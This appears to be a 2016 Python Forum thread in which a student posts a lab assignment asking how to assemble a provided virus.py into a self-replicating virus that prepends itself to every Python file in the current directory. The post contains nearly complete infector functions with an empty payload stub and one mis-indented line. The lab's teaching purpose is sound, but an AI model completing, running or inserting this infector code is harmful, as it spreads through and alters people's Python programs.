Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Virus using Python
#1
Hi guys, I hope everyone is doing well. I have a problem understanding this lab could you please guide me through it thank you! 
For this lab, you will take the virus.py code and make it into an actual virus that will infect the hello.py program.  Below are the steps you need to accomplish in order to spread the virus.
 
  • Virus program should be able to read in a copy of itself
  • Virus code should be able to get a list of Python programs
  • For each Python program in the list do the following:
  • Read the Python program into memory
  • Decide if the program is already infected
  • Infect the program in memory if it is not infected
  • Write the infected program back out to the file system
  • After each program is infected, you can run a payload attack
 You have the virus.py code full of functions and you need to organize them to infect do the above jobs.  Inside the virus.py file you will find the following functions.
 
  • getVirusFromSelf
  • getPythonList
  • readFile
  • isInfected
  • infectCode
  • writeFile
  • virusPayload
 These functions should provide everything you need to spread and infect.  
Virus.py:
#!/usr/bin/env python

##### VIRUS BEGIN #####
import os, glob, sys, re

def getVirusFromSelf():
    "getVirusFromSelf - Returns the lines of the virus in a list"
    code = []
   fileHandle = open(sys.argv[0], "r")
   inVirus = False
   while 1:
       line = fileHandle.readline()
       if not line: break
       if re.search("^##### VIRUS BEGIN #####", line): inVirus = True
       if inVirus: code.append(line)
       if re.search("^##### VIRUS END #####", line): break
   fileHandle.close()
   return code

def getPythonList():
   "getPythonList - Return a list of Python programs"
   progs = glob.glob("*.py")
   return progs

def readFile(filename):
   "readFile - Returns a list of lines in a file"
   fileHandle = open(filename, "r")
   code = []
   while 1:
       line = fileHandle.readline()
       if not line: break
       code.append(line)
   fileHandle.close()
   return code

def isInfected(code):
   "isInfected - Returns True if infected, False if not"
   for line in code:
       if re.search("^##### VIRUS BEGIN #####", line): return True
   return False

def infectCode(progCode, virusCode):
   "infectCode - Inserts the virusCode into the progCode"
   code = []
   if re.search("^#!", progCode[0]): code.append(progCode.pop(0))
   for line in virusCode: code.append(line)
   for line in progCode: code.append(line)
   return code

def writeFile(filename, code):
   "writeFile - Write the lines in a list of code to a filename"
   fileHandle = open(filename, "w")
   for line in code:
       fileHandle.write(line)
   fileHandle.close()

def virusPayload():
   "virusPayload - Function for what the virus should do"
   pass

## Put functions together here ##


##### VIRUS END #####
Reply


Messages In This Thread
Virus using Python - by miira - Nov-29-2016, 07:00 PM
RE: Virus using Python - by Yoriz - Nov-29-2016, 07:16 PM
RE: Virus using Python - by Larz60+ - Nov-29-2016, 08:46 PM
RE: Virus using Python - by Ofnuts - Nov-29-2016, 09:43 PM
RE: Virus using Python - by nilamo - Nov-29-2016, 10:36 PM
RE: Virus using Python - by miira - Dec-06-2016, 12:24 AM
RE: Virus using Python - by sparkz_alot - Dec-06-2016, 02:26 PM
RE: Virus using Python - by nilamo - Dec-06-2016, 03:34 PM

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020